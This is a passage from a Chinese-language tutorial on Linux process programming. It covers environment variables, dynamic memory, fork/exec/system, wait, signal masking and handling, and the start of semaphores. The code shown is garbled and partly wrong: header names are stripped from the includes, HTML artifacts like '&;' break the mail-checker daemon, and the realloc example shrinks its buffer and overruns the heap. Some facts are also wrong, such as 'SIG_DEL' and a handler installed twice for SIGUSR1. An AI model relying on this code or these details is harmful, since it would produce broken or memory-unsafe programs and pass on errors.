    	} 
    	return 0; 
    }
    

    tips:

    使用 getopt_long 函数时,

    • 如果使用多字符格式的选项输入,则应该用“–”作为选项的前导符。
    • 如果使用单字符格式的选项输入,则可以使用“–”或者“-”格式的前导符。
  2. 进程的环境变量

    ① 分类

    对于每个 Linux 系统中的进程来说,都有与进程相关的环境变量。

    • 环境变量在编程中非常重要,可以用于保存一些重要的配置信息。
    • 如,用户在编程过程中,需要保存某个配置项的值:
      • 一个方法是将其写入到文件中;
      • 而更好的办法是定义成环境变量。

    ② 定义

    当用户登录 shell 时,会从两个位置获得环境变量的定义。

    • 一是全局环境变量文件/etc/profile,

      • /etc/profile 中定义的环境变量是对所有的用户都有效的。
    • 另外一个是当前用户的环境变量文件。

      • 而用户的环境变量文件只对该用户有效;用户的环境变量文件名称与用户的shell 类型有关,如果用户的 shell 类型是 bsh,则:

        最常使用的交互式的 shell ——使用 .profile 文件。

        非交互式的 shell ——则使用.bashrc 文件。

    ③ shell 基本操作

    ——增:

    • 可以直接在命令行增加环境变量,通过这种方式增加的环境变量只在本次会话中有效。(会话一旦退出,该环境变量将会失效。)

    • 如果要永久增加某个环境变量,可以在.profile(对于 bsh 来说)中进行。增加环境变量的语法如下:

      export 环境变量名称=值

    ——查:

    • 可以通过 env 变量查询当前定义的全部环境变量。

    • 如果要查询某个单独的环境变量,可以执行 echo 命令。其语法格式如下所示:

      echo $环境变量名称

    ——删:

    • 要删除某个环境变量的定义,可以执行 unset 命令,其语法如下:

      unset $环境变量名称

    ④ 编程实现

    除通过执行 shell 命令获取环境变量外,也可以通过编程的方式获取。

    • Linux 系统提供了两个系统调用用于获取或者设置环境变量,这两个系统调用分别是 getenv 和 putenv。其声明位于头文件中,原型如下:

      #include  
      char *getenv (__const char *__name); 
      int putenv (char *__string); 
      
    • 参数说明:

      ___ name:getenv 输入参数,环境变量的名称。
      ___string:setenv 输入参数,要设置的环境变量串,其格式为“环境变量名称=值”。

    • 返回值说明:

      getenv 返回值

      • NULL:表明相关的环境变量未定义。
        其他:环境变量的值。

      putenv 返回值

      • -1:调用失败。
        0:调用成功。

    编程实现设置环境变量 CONFIG_PATH 的值为/etc。代码如下:

    #include  									/*头文件*/ 
    #include  
    int main() 											/*主函数*/ 
    { 
    	char *buffer; 									/*字符串指针,用于保存环境变量*/ 
    	buffer = getenv ("CONFIG_PATH");				/*获得环境变量 CONFIG_PATH*/ 
    	if(buffer==NULL) 						/*如果环境变量为空,则调用 putenv 设置*/ 
    	{ 
    		putenv("CONFIG_PATH=/etc"); 						/*设置环境变量*/ 
    	} 
    	printf("CONFIG_PATH=%s\n",getenv("CONFIG_PATH")); 		/*获得并输出环境变量的值*/ 
    	return 0; 
    } 
    

    Tips:修改环境变量还可以通过另外的两个系统调用 setenv 和 unsetenv 进行,其实现的功能与 putenv 大同小异。

  3. 进程的内存分配

    ① 动态申请内存

    在编程过程中,根据程序的需要可能需要动态申请内存。

    • 通过前面对进程的内存映像的了解可以知道,程序中定义的局部变量是在进程的栈(stack)中分配空间的。其内存的分配与释放不需要用户关心,由系统自动完成。
    • 而如果在程序运行时需要动态分配的内存,将从系统可用内存中申请新的空间,并加入到进程的堆(heap)中。动态申请的内存在使用完毕后,应该由用户进行释放。

    ② 内存申请及释放的系统调用

    Linux 提供了专门的用于内存申请及释放的系统调用,分别是申请内存的 malloc、重新申请内存的 realloc 和释放内存的 free。

    • 这三个函数的声明位于头文件中,其原型如下所示:

      #include  
      void *malloc (size_t __size); 
      void *realloc (void *__ptr, size_t __size); 
      void free (void *__ptr);
      
    • 参数说明:

      __size:输入参数,内存缓存区的大小,以字节为单位。
      __ptr:realloc 的输入参数,已有的内存缓存区指针。
      __ptr:free 的输入参数,要释放的内存缓存区指针。

    编程实现由键盘输入字符,保存于程序中动态分配的空间中。示例代码:

    #include  /*头文件*/ 
    #include  
    main() /*主函数*/ 
    { 
    	int i; /*循环变量*/ 
    	char c,*p; /*定义字符变量*/ 
    	p = (char *)malloc(10); /*分配 10 个字节的缓存区*/ 
    	for(i=0;;i++) 
    	{ 
    		c = getchar(); /*从键盘读入单个字符数据*/ 
    		if(i>9) /*如果输入字符的个数大于分配的缓冲区,则重新申请内存*/ 
    		{ 
    			p = (char *)realloc(p,1); /*重新增加申请一个字节的空间*/ 
    		} 
    		if(c == '\n') /*输入键,退出循环*/ 
    		{ 
    			p[i] = '\0'; /*终结字符串*/ 
    			break; 
    		} 
    		else 
    		{ 
    			p[i] = c; /*将输入的字符保存到分配的缓存区*/ 
    		} 
    	} 
    	printf("%s\n",p); /*输出缓存区中的内容*/ 
    	free(p); /*释放动态分配的内存*/ 
    }
    

    Tips:

    • 在本例中,首先调用 malloc 初次分配长度为 10 字节的内存缓存区,然后循环从键盘接收输入的字符。如果输入字符数量超过已申请缓存区大小,则调用 realloc 增加申请更多的内存空间。最后,程序将在接收到回车符后退出。
    • 所谓转义,是指用特定格式的字符串表示某个字符。转义主要用来输入不能直接输入的控制类字符。在 C 语言中,用“\”作为转义的前导符。在 Linux 下支持若干转义字符。

2.3 进程的创建

Linux 系统提供了多种创建新进程的方法。这些方法主要包括 fork 系统调用、exec 系列和 system 系统调用。

  1. 调用 fork 创建进程

    创建进程的简单方法是调用 fork——调用完成后,将生成新的进程。此时,新生成的进程称为子进程,而原来的调用进程称为父进程。

    (1)fork 系统调用

    fork 系统调用是非常特殊的一个系统调用:

    • 调用 fork 一次将返回两次,分别在父进程和子进程中返回;

      • 在父进程中,其返回值为子进程的进程标识符。
      • 在子进程中,其返回值为 0。
    • 其调用过程如图:

      1-5

    (2)属性继承

    fork 调用成功后,产生的子进程继承了父进程大部分的属性。这些属性主要包括以下几点:

    进程的实际用户 ID、实际用户组 ID 和有效用户 ID、有效用户组 ID。
    进程组 ID、会话 ID 及控制终端。
    当前工作目录及根目录。
    文件创建掩码 UMASK。
    环境变量。

    除此之外,也有一部分进程属性是不能直接从父进程继承的,主要包括以下几点:

    进程号、子进程号不同于任何一个活动的进程组号。
    子进程的用户时间和系统时间,这两个时间被初始化为 0。
    子进程的超时时钟设置为 0,这个时钟是由 alarm 系统调用使用的。
    子进程的信号处理函数指针组置为空。原来的父进程中的信号处理函数都将失效。
    父进程的记录锁。

    父进程中已打开的文件描述符可以在子进程中直接使用。

    这些描述符不仅包括文件描述符,而且包括其他如套接口描述符等。
    在这种情况下,这些描述符的引用计数已经加一(每 fork 一次就加一)。
    因此,在关闭这些描述符时,要记住多次关闭直至描述符的引用计数为 0。

    进程间通信:

    子进程复制了父进程的数据段,包括全局变量,但是父、子进程各有一份全局变量的拷贝。

    因此,不能通过全局变量在父子进程间通信,而要通过专门的进程间通信机制。

    (3)代码实现

    编程创建多个进程,每个进程输出当前时间。其实现过程如下:

    #include  /*头文件*/ 
    #include  
    #include  
    #include  
    int main() /*主函数*/ 
    { 
    	pid_t pid; /*进程 ID*/ 
    	signal(SIGCLD, SIG_IGN); /*信号处理,忽略 SIGCLD 信号,避免形成僵尸进程*/ 
    	switch(pid=fork()) /*创建子进程*/ 
    	{ 
    		case -1: /*创建子进程失败*/ 
    			perror("fork"); /*输出错误信息*/
    			break; 
    		case 0: /*子进程*/ 
    			printf("子进程:进程 ID=%d\n",getpid()); /*输出当前进程的进程 ID*/ 
    			exit(0); 
    			break; 
    		default: /*父进程*/ 
    			printf("父进程:创建子进程%d 成功.\n", pid); /*输出新创建的子进程的进程 ID*/ 
    			sleep(5); /*休眠 5 秒*/ 
    			break; 
    	} 
    } 
    

    Tips:

    Linux 系统中除 fork 外,还有另外一个系统调用 vfork。

    • vfork 系统调用的目的是创建子进程,与 fork 不同的是,vfork 创建子进程的目的是调用 exec,并且 vfork 产生的子进程与父进程共享大多数进程空间。
    • 也就是说,vfork 调用成功后,父、子进程共享数据段。
  2. 调用 exec 系列函数执行程序

    (1)exec 机制

    exec 系统函数并不创建新进程,调用 exec 前后的进程 ID 是相同的。

    • exec 系列函数的主要工作是清除父进程的可执行代码映像,用新程序的代码覆盖调用 exec 的进程代码。

      • 如果exec 执行成功,进程将从新程序的 main 函数入口开始执行。
    • 调用 exec 函数后,除进程 ID 保持不变外,还有下列进程属性保持不变:

      进程的父进程 ID。
      实际用户 ID 和实际用户组 ID。
      进程组 ID、会话 ID 和控制终端。
      定时器剩余的时间。
      当前工作目录及根目录。
      文件创建掩码 UMASK。
      进程的信号掩码。

    (2)exec 系列函数共有 6 种不同的形式,统称为 exec 函数。

    exec 后的第一个字符分类,把这 6 个函数划分为两组:

    • 一组是 execl、execle、execlp —— 称为 execl 系列
      • l 是 list(列表)的意思,表示 execl 系列函数需要将每个命令行参数作为函数的参数进行传递。
    • 另一组是 execv、execve、execvp —— 称为 execv系列
      • v 是 vector(矢量)的意思,表示 execv 系列函数将所有函数包装到一个矢量数组中传递。

    exec 函数的声明位于头文件中,其原型如下:

    #include  
    int execv (__const char *__path, char *__const __argv[]); 
    int execve (__const char *__path, char *__const __argv[],char *__const __envp[]); 
    int execvp (__const char *__file, char *__const __argv[]); 
    int execl (__const char *__path, __const char *__arg, ...); 
    int execle (__const char *__path, __const char *__arg, ...); 
    int execlp (__const char *__file, __const char *__arg, ...); 
    
    • 参数说明:

      __path:输入参数,要执行的程序路径。

      • 注意:这里是路径名,要求可以是绝对路径或者是相对路径。
      • 在 execv、execve、execl、execle 四个函数中,使用带路径名的文件名作为参数。

      __file:输入参数,要执行的程序名称。

      • 这里是指文件名。
      • 如果该参数中包含“/”字符,则视为路径名直接执行;
      • 否则视为单独的文件名,系统将根据 PATH 环境变量指定的路径顺序搜索指定的文件。

      __argv:输入参数,命令行参数的矢量数组。
      __envp:输入参数,

      • 带有该参数的 exec 函数,可以在调用 exec 系列函数时,指定一个环境变量数组。
      • 其他不带该参数的 exec 系列函数,则使用调用进程的环境变量。

      __arg:程序的第 0 个参数,即程序名自身,相当于__argv[0]。
      :输入参数,命令行参数列表。

      • 调用相应程序时有多少命令行参数,就需要有多少个输入参数项。
      • 注意:在使用此类函数时,在所有命令行参数的最后,应该增加一个空的参数项,表明命令行参数结束。
    • 返回值说明:

      -1:表明调用 exec 失败,可以查看 errno 获取详细的错误信息。
      无返回:表明调用成功。由于调用成功后,当前进程的代码空间被新进程覆盖,所以无返回。

    (3)代码实现

    编程实现调用执行 ls 命令输出当前目录的文件列表:

    #include  /*头文件*/ 
    #include  
    #include  
    main() /*主函数*/ 
    { 
    	pid_t pid; /*进程标识变量*/ 
    	char *para[]={"ls","-a",NULL}; /*定义参数数组,为 execv 所使用*/
    	if((pid = fork()) < 0) /*创建新的子进程*/ 
    	{ 
    		perror("fork"); /*错误处理*/ 
    		exit(0); 
    	} 
    	if(pid == 0) /*子进程*/ 
    	{ 
    		if(execl("/bin/ls","ls","-l",(char *)0) == -1) /*执行 ls -l 命令*/ 
    		{ 
    			perror("execl"); /*错误处理*/ 
    			exit(0); 
    		} 
    	} 
    	if((pid = fork()) < 0) /*创建新的子进程*/ 
    	{ 
    		perror("fork"); /*错误处理*/ 
    		exit(0); 
    	} 
    	if(pid == 0) /*子进程*/ 
    	{ 
    		if(execv("/bin/ls",para) == -1) /*执行 ls –a 命令*/ 
    		{ 
    			perror("execv"); /*错误处理*/ 
    			exit(0); 
    		} 
    	} 
    	return; 
    }
    
  3. 调用 system 创建进程

    (1)system 系统调用

    为了方便地调用外部程序,Linux 提供了 system 系统调用。system 将加载外部的可执行程序,执行完毕后返回调用进程。

    • system 的返回码就是加载的外部可执行程序的返回码。

    • system 系统调用的声明位于头文件中,其原型如下:

      #include  
      int system (__const char *__command); 
      
    • 参数说明:

      __command:输入参数,要加载的外部程序的文件名。

    • 返回值说明:

      -1:执行 system 失败,可以从 errno 中获取详细的错误信息。
      127:执行 system 失败。

      在 system 的内部实现中,system 首先 fork 子进程,然后调用 exec 执行新的 shell,在 shell 中执行要执行的程序。

      • 如果在调用 exec 时失败,system将返回 127。由于要加载的外部程序也有可能返回 127,因此,在 system 返回 127时,最好判断一下 errno。
      • 如果 errno 不为 0,表明调用 system 失败;否则,调用 system成功,被加载的程序返回码是 127。

      其他:执行 system 成功,返回值是调用的外部程序的返回码。

    (2)代码实现

    编程实现调用执行 ls 命令输出当前目录的文件列表:

    #include  /*头文件*/ 
    #include  
    main() /*主函数*/ 
    { 
    	/*调用 system 执行 ls –l 并输出执行的返回值*/ 
    	printf("call ls return %d\n",system("ls -l")); 
    } 
    

2.4 进程的终止

进程执行完毕后,应该合理的终止,释放进程占用的资源。

终止进程的方式有多种:

  • 可以是接收到其他进程发送的信号而被动终止进程,
  • 也可以是进程自己执行完毕后主动退出进程。
  1. 调用 exit 退出进程

    (1)exit 函数

    进程要执行的功能执行完毕,或者执行过程中出错,需要调用 exit 退出进程。

    • 在 Linux系统中,除调用 exit 可以结束进程外,还有另外一个函数 _exit 也可以实现类似的功能。

      • _exit 函数在退出时并不刷新带缓冲 I/O 的缓冲区。

      • _exit 函数的声明位于头文件 中,其原型如下:

        #include  
        void _exit (int __status); 
        
    • 在使用带缓冲的 I/O 操作时,应该调用 exit 函数,而不是 _exit

      • exit 函数的声明位于头文件 中,其原型如下:

        #include  
        void exit (int __status); 
        
      • 参数说明:

        __status:输入参数,程序退出时的返回码。该返回码可以通过以下3种方式获得:

        ① 在 shell 中通过$?系统变量取得;
        ② 通过 system 系统调用的返回值取得;
        ③ 在父进程中通过调用 wait 函数获得。

  2. 调用 wait 等待进程退出

    一个进程结束运行时,将向其父进程发送 SIGCLD 信号。父进程在收到 SIGCLD 信号后,可以忽略该信号或者安装信号处理函数处理该信号。而处理该信号需要调用 wait 系列函数。wait 系列函数的作用是等待子进程的退出,并获取子进程的返回码。

    • 通常情况下,父进程调用 wait 等待其子进程的退出。
    • 如果没有任何子进程退出,则 wait 在缺省状态下将进入阻塞状态,直到调用进程的某个子进程退出。

    (1)wait 系列函数

    wait 系列函数主要有两个:一个是 wait,另一个是waitpid。

    • 这两个函数的声明位于头文件中,其原型如下所示:

      #include  
      __pid_t wait (__WAIT_STATUS __stat_loc); 
      __pid_t waitpid (__pid_t __pid, int *__stat_loc, int __options); 
      
    • 参数说明:

      __stat_loc:输出参数,用于保存子进程的结束状态。
      __pid:输入参数,用于 waitpid。该参数可以有若干输入方式,每种方式有其独特的含义。
      __options:输入参数,用于 waitpid。该参数指定了调用 waitpid 时的选项。

    • 返回值说明:

      -1:调用失败。
      其他:调用成功,返回值为退出的子进程 ID。

    (2)宏操作

    Linux 提供了多个宏以便从该结束状态中获取特定信息,具体信息如下。

    WIFEXITED(__stat_loc):如果子进程正常结束则为非 0 值。
    WEXITSTATUS(__stat_loc):取得子进程 exit() 返回的结束代码。

    • 通常情况下,应先用 WIFEXITED 来判断是否正常结束才能使用此宏。

    WIFSIGNALED(__stat_loc):如果子进程是因为信号而结束则返回真。
    WTERMSIG(__stat_loc):返回子进程因信号而中止的信号代码。

    • 通常应先用 WIFSIGNALED 来判断后才使用此宏。

    WIFSTOPPED(__stat_loc):如果子进程处于暂停执行情况则此宏返回真。

    • 只有使用 WUNTRACED 选项时才会有此情况。

    WSTOPSIG(__stat_loc):返回引发子进程暂停的信号代码。

    • 通常应先调用 WIFSTOPPED 来判断后才使用此宏。

    (3)代码实例

    编写代码实现子进程退出。

    • 调用 signal 安装 SIGCLD 信号处理函数,以便在子进程退出时可以捕获信号。
      在信号处理函数中,调用 wait 等待子进程退出,并输出子进程的返回码。
      创建子进程,子进程未进行任何操作,直接返回。
      从输出中可以看到,父进程通过捕获 SIGCLD 信号,成功获取到子进程的退出代码。
    #include  /*头文件*/ 
    #include  
    #include  
    #include  
    #include  
    void handle_sigcld(int signo) /*SIGCLD 信号处理函数*/ 
    { 
    	pid_t pid; /*保存退出进程的进程 ID*/ 
    	int status; /*保存进程的退出状态*/ 
    	if((pid = wait(&status)) != -1) /*调用 wait 等待子进程退出*/ 
    	{ 
    		printf("子进程%d 退出\n",pid); /*输出提示信息*/ 
    	} 
    	if(WIFEXITED(status)) /*判断子进程退出时是否有返回码*/ 
    	{ 
    		printf("子进程返回%d\n",WEXITSTATUS(status)); /*输出子进程的返回码*/ 
    	} 
    	if(WIFSIGNALED(status)) /*判断子进程是否被信号中断而结束*/ 
    	{ 
    		printf("子进程被信号%d 结束\n",WTERMSIG(status));/*输出中断子进程的信号*/ 
    	} 
    } 
    
    main() /*主函数*/ 
    { 
    	pid_t pid; /*定义 pid_t 类型变量,用于保存进程 ID*/ 
    	signal(SIGCLD,handle_sigcld); /*安装 SIGCLD 信号*/
    	if((pid = fork()) < 0) /*创建子进程*/ 
    	{ 
    		perror("fork"); /*错误处理*/ 
    		exit(0); 
    	} 
    	if(pid == 0) /*子进程*/ 
    	{ 
    		exit(123); /*子进程返回 123*/ 
    	} 
    	sleep(5); /*父进程休眠 5 秒,等待子进程退出*/ 
    }
    

2.5 小结

在 Linux 系统中,进程是十分重要的概念。当可执行的程序被系统加载到内存空间运行时,就成为一个进程。

  • 灵活创建和中止进程是 Linux 程序开发的重要技能。
  • 部分内容涉及信号的处理,需要结合相关内容,以加深理解。

Ⅲ 信号处理

3.1 信号的产生

  1. Linux 下的信号

    Linux 下的信号可以类比于 DOS 下的 INT 或者是 Windows 下的事件;在一个有信号发生的时候,相应的信号就会发送给相应的进程。

    (1)信号的类型

    在 Linux 下的信号有以下几个(使用 kill -l命令,可以得到以下的输出结果):

    当前系统定义的信号列表:(总共62个)

    ① 普通信号:1——31号信号

    ② 实时信号:34——64号信号

    1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP
    6) SIGABRT 7) SIGBUS 8) SIGFPE 9) SIGKILL 10) SIGUSR1
    11) SIGSEGV 12) SIGUSR2 13) SIGPIPE 14) SIGALRM 15) SIGTERM
    16) SIGSTKFLT 17) SIGCHLD 18) SIGCONT 19) SIGSTOP 20) SIGTSTP
    21) SIGTTIN 22) SIGTTOU 23) SIGURG 24) SIGXCPU 25) SIGXFSZ
    26) SIGVTALRM 27) SIGPROF 28) SIGWINCH 29) SIGIO 30) SIGPWR
    31) SIGSYS ……

    关于这些信号的详细解释请查看 man 7 signal 的输出结果。

    (2)信号的来源

    信号事件的发生有两个来源:

    • ① 硬件的原因(比如我们按下了键盘);
    • ② 软件的原因(比如我们使用系统函数或者是命令发出信号)。
  2. 系统函数调用 - 信号

    最常用的四个发出信号的系统函数是 kill, raise,alarm 和 setitimer 函数(计时器)。

    #include ; 
    #include ; 
    #include ; 
    int kill(pid_t pid,int sig); 
    int raise(int sig); 
    unisigned int alarm(unsigned int seconds);
    
    • kill 系统调用负责向进程发送信号 sig

      如果 pid 是正数,那么信号 sig 被发送到进程 pid。
      如果 pid 等于 0,那么信号 sig 被发送到所有和 pid 进程在同一个进程组的进程。
      如果 pid 等于-1,那么信号发给所有的进程表中的进程,除了最大的哪个进程号。
      如果 pid 小于-1,和 0 一样,只是发送进程组是-pid。

    • raise 系统调用向自己发送一个 sig 信号

    • alarm 函数和时间有点关系了,这个函数可以在 seconds 秒后向自己发送一个 SIGALRM 信号

      举个例子:

      #include ; 
      main() 
      { 
      	unsigned int i; 
      	alarm(1); 
      	for(i=0;1;i++) 
      		printf("I=%d",i); 
      }
      

      SIGALRM的缺省操作是结束进程,所以程序在1秒之后结束;你可以看看你的最后I值为多少,来比较一下大家的系统性能差异(作者的是2232)。

3.2 信号的处理

信号的三种处理方式:忽略、执行默认动作、捕捉信号。

特殊情况:
① 如,SIGKILL和SIGSTOP不能被捕捉和忽略,他们向超级用户提供一种使进程终止或停止的可靠方法;
② 如果忽略某些由硬件异常产生的信号,则进程的行为是未定义的;
③ 系统在最初设计这些信号时,就特意留出了不能被捕捉的信号,以防止非法用户入侵时捕捉系统关键信号,导致进程永远杀不掉。

  1. 信号屏蔽

    需求:有时候我们希望进程正确的执行,而不想进程受到信号的影响,比如我们希望上面那个alarm程序在 1 秒钟之后不结束,这个时候我们就要进行信号的操作了。

    (1)常见的信号屏蔽函数

    信号操作最常用的方法是信号屏蔽,信号屏蔽要用到下面的几个函数:

    #include ; 
    int sigemptyset(sigset_t *set); 
    int sigfillset(sigset_t *set); 
    int sigaddset(sigset_t *set,int signo); 
    int sigdelset(sigset_t *set,int signo); 
    int sigismember(sigset_t *set,int signo); 
    int sigprocmask(int how,const sigset_t *set,sigset_t *oset);
    

    ① sigemptyset 函数初始化信号集合 set,将 set 设置为空。
    ② sigfillset 也初始化信号集合,只是将信号集合设置为所有信号的集合。
    ③ sigaddset 将信号 signo 加入到信号集合之中。
    ④ sigdelset 将信号从信号集合中删除。
    ⑤ sigismember 查询信号是否在信号集合之中。
    ⑥ sigprocmask 是最为关键的一个函数。

    • 在使用之前要先设置好信号集合 set,这个函数的作用是将指定的信号集合 set 加入到进程的信号阻塞集合之中去;

    • 如果提供了 oset 那么当前的进程信号阻塞集合将会保存在 oset 里面;

    • 参数 how 决定函数的操作方式:

      SIG_BLOCK:增加一个信号集合到当前进程的阻塞集合之中。
      SIG_UNBLOCK:从当前的阻塞集合之中删除一个信号集合。
      SIG_SETMASK:将当前的信号集合设置为信号阻塞集合。

    (2)编程实例

    以一个实例来解释使用上述几个屏蔽函数:

    #include ; 
    #include ; 
    #include ; 
    #include ; 
    int main(int argc,char **argv) 
    { 
    	double y; 
    	sigset_t intmask; 
    	int i,repeat_factor; 
    	if(argc!=2) 
    	{ 
    		fprintf(stderr,"Usage:%s repeat_factor\n\a",argv[0]); 
    		exit(1); 
    	} 
    	if((repeat_factor=atoi(argv[1]))<1)repeat_factor=10; 
    	sigemptyset(&intmask); /* 将信号集合设置为空 */ 
    	sigaddset(&intmask,SIGINT); /* 加入中断 Ctrl+C 信号*/ 
    	while(1) 
    	{
    		/*阻塞信号,我们不希望保存原来的集合所以参数为 NULL*/ 
    		sigprocmask(SIG_BLOCK,&intmask,NULL); 
    		fprintf(stderr,"SIGINT signal blocked\n"); 
    		for(i=0;i<repeat_factor;i++)y=sin((double)i); 
    		fprintf(stderr,"Blocked calculation is finished\n"); 
    		/* 取消阻塞 */ 
    		sigprocmask(SIG_UNBLOCK,&intmask,NULL); 
    		fprintf(stderr,"SIGINT signal unblocked\n"); 
    		for(i=0;i<repeat_factor;i++)y=sin((double)i); 
    		fprintf(stderr,"Unblocked calculation is finished\n"); 
    	} 
    	exit(0); 
    }
    
    • 程序在运行的时候我们要使用 Ctrl+C 来结束,如果我们在第一计算的时候发出 SIGINT 信号,由于信号已经屏蔽了,所以程序没有反应;只有到信号被取消阻塞的时候程序才会结束。
    • 注意我们只要发出一次 SIGINT 信号就可以了,因为信号屏蔽只是将信号加入到信号阻塞集合之中,并没有丢弃这个信号;一旦信号屏蔽取消了,这个信号就会发生作用。
  2. 信号捕捉

    (1)sigaction 函数

    有时候我们希望对信号作出及时的反映的,比如当拥护按下 Ctrl+C 时,我们不想什么事情也不做,我们想告诉用户你的这个操作不好,请不要重试,而不是什么反应也没有的。

    这个时候,就要用到 sigaction 函数(执行自定义动作):

    #include ; 
    int sigaction(int signo, const struct sigaction *act, struct sigaction *oact); 
    struct sigaction { 
    	void (*sa_handler)(int signo); 
    	void (*sa_sigaction)(int siginfo_t *info,void *act); 
    	sigset_t sa_mask; 
    	int sa_flags; 
    	void (*sa_restore)(void); 
    }
    
    • 参数说明:

      ① signo:就是我们要处理的信号,可以是任何的合法的信号,有两个信号不能够使用(SIGKILL 和 SIGSTOP)。
      ② act:包含我们要对这个信号进行如何处理的信息。
      ③ oact:是以前对这个函数的处理信息,主要用来保存信息,一般用 NULL。

    • 信号结构:

      sa_handler 是一个函数型指针,这个指针指向一个函数,这个函数有一个参数,这个函数就是我们要进行的信号操作的函数。
      sa_sigactionsa_restore 和 sa_handler 差不多的,只是参数不同罢了(这两个元素我们很少使用,就不管了) 。
      sa_flags用来设置信号操作的各个情况,一般设置为 0 。
      sa_mask 我们已经学习过了???

    在使用的时候,用 sa_handler 指向一个信号操作函数;sa_handler 有两个特殊的值:SIG_DEL 和 SIG_IGN。

    • SIG_DEL 是使用缺省的信号操作函数,
    • 而 SIG_IGN 是使用忽略该信号的操作函数。

    (2)sigaction - 编程实例

    这个函数复杂,我们使用一个实例来说明:

    下面这个函数可以捕捉用户的 CTRL+C 信号,并输出一个提示语句。

    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #define PROMPT "你想终止程序吗?" 
    char *prompt=PROMPT; 
    void ctrl_c_op(int signo) 
    { 
    	write(STDERR_FILENO,prompt,strlen(prompt)); 
    } 
    int main() 
    { 
    	struct sigaction act; 
    	act.sa_handler=ctrl_c_op; 
    	sigemptyset(&act.sa_mask); 
    	act.sa_flags=0; 
    	if(sigaction(SIGINT,&act,NULL)<0) 
    	{ 
    		fprintf(stderr,"Install Signal Action Error:%s\n\a",strerror(errno)); 
    		exit(1); 
    	} 
    	while(1); 
    } 
    

    在上面程序的信号操作函数之中,我们使用了 write 函数而没有使用 fprintf 函数,是因为我们要考虑到下面这种情况:

    • 如果我们在信号操作的时候又有一个信号发生,那么程序该如何运行呢?
    • 为了处理在信号处理函数运行的时候信号的发生,就需要设置 sa_mask 成员。
    • 将我们要屏蔽的信号添加到 sa_mask 结构当中去,这样这些函数在信号处理的时候就会被屏蔽掉的。

3.3 其它信号函数

  1. 信号函数

  2. 举例说明

    由于信号的操作和处理比较复杂,我们再介绍几个信号操作函数:
    (1)

    #include ; 
    #include ; 
    int pause(void); 
    int sigsuspend(const sigset_t *sigmask); 
    
    • pause 函数很简单,就是挂起进程直到一个信号发生。
    • sigsuspend 也是挂起进程,只是在调用的时候用 sigmask 取代当前的信号阻塞集合。

    (2)

    #include ; 
    int sigsetjmp(sigjmp_buf env,int val); 
    void siglongjmp(sigjmp_buf env,int val); 
    
    • 还记得 goto 函数或者是 setjmp 和 longjmp 函数吗?
    • sigsetjmpsiglongjmp这两个信号跳转函数也可以实现程序的跳转,让我们可以从函数之中跳转到我们需要的地方。

    由于上面几个函数,我们很少遇到,所以只是说明了一下;详细情况请查看联机帮助。

3.4 简单实例

  1. 需求说明

    守护进程创建:程序提供了一个开关,可以检查用户的邮件;

    • 如果用户不想程序提示有新的邮件到来,可以向程序发送 SIGUSR2 信号;

    • 如果想程序提供提示可以发送 SIGUSR1 信号。

  2. 编码实现

    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    #include ; 
    /* Linux 的默任个人的邮箱地址是 /var/spool/mail/ */ 
    #define MAIL_DIR "/var/spool/mail/" 
    /* 睡眠 10 秒钟 */ 
    #define SLEEP_TIME 10 
    #define MAX_FILENAME 255 
    unsigned char notifyflag=1; 
    long get_file_size(const char *filename) { 
    	struct stat buf; 
    	if(stat(filename,&;buf)==-1) { 
    		if(errno==ENOENT)return 0; 
    		else return -1; 
    	} 
    	return (long)buf.st_size; 
    } 
    void send_mail_notify(void) { 
    	fprintf(stderr,"New mail has arrived\007\n"); 
    } 
    void turn_on_notify(int signo) { 
    	notifyflag=1; 
    } 
    void turn_off_notify(int signo) { 
    notifyflag=0; 
    } 
    int check_mail(const char *filename) { 
    	long old_mail_size,new_mail_size; 
    	sigset_t blockset,emptyset; 
    	sigemptyset(&;blockset); 
    	sigemptyset(&;emptyset); 
    	sigaddset(&;blockset,SIGUSR1); 
    	sigaddset(&;blockset,SIGUSR2); 
    	old_mail_size=get_file_size(filename); 
    	if(old_mail_size<0)return 1; 
    	if(old_mail_size>;0) send_mail_notify(); 
    	sleep(SLEEP_TIME); 
    	while(1) 
    	{ 
    		if(sigprocmask(SIG_BLOCK,&;blockset,NULL)<0) return 1; 
    		while(notifyflag==0)sigsuspend(&;emptyset); 
    		if(sigprocmask(SIG_SETMASK,&;emptyset,NULL)<0) return 1; 
    		new_mail_size=get_file_size(filename); 
    		if(new_mail_size>;old_mail_size)send_mail_notify; 
    		old_mail_size=new_mail_size; 
    		sleep(SLEEP_TIME); 
    	} 
    } 
    int main(void) 
    { 
    	char mailfile[MAX_FILENAME]; 
    	struct sigaction newact; 
    	struct passwd *pw; 
    	if((pw=getpwuid(getuid()))==NULL) 
    	{ 
    		fprintf(stderr,"Get Login Name Error:%s\n\a",strerror(errno));
    		exit(1); 
    	} 
    	strcpy(mailfile,MAIL_DIR); 
    	strcat(mailfile,pw->;pw_name); 
    	newact.sa_handler=turn_on_notify; 
    	newact.sa_flags=0; 
    	sigemptyset(&;newact.sa_mask); 
    	sigaddset(&;newact.sa_mask,SIGUSR1); 
    	sigaddset(&;newact.sa_mask,SIGUSR2); 
    	if(sigaction(SIGUSR1,&;newact,NULL)<0) 
    		fprintf(stderr,"Turn On Error:%s\n\a",strerror(errno)); 
    		newact.sa_handler=turn_off_notify; 
    	if(sigaction(SIGUSR1,&;newact,NULL)<0) 
    		fprintf(stderr,"Turn Off Error:%s\n\a",strerror(errno)); 
    		check_mail(mailfile); 
    	exit(0); 
    } 
    
  3. 小结

    信号操作是一件非常复杂的事情,想彻底的弄清楚信号操作的各个问题,除了大量的练习以外还要多看联机手册。
    如果只是一般的使用的话,有了上面的几个函数也就差不多了。

Ⅳ Linux 进程间通信(IPC)

重点学习:信号量、共享内存机制

4.1 POSIX 无名信号量

  1. PV 操作

    在OS中,PV操作是原子操作,也就是操作是不可以中断的;在一定的时间内,只能够有一个进程的代码在 CPU 上面执行。

  2. 信号量

    (1)信号

    有时候,在系统中会出现资源争用的情况,为了顺利的使用和保护共享资源,就有人提出了信号的概念。

    • 假设:我们要使用一台打印机,如果在同一时刻有两个进程在向打印机输出,那么最终的结果会是什么呢?
    • 为了处理这种情况,POSIX 标准提出了『有名信号量』和『无名信号量』的概念;
    • 由于 Linux 只实现了无名信号量,我们在这里就只是介绍无名信号量了。

    (2)信号量

    信号量的使用主要是用来保护共享资源,使得资源在一个时刻只有一个进程所拥有。

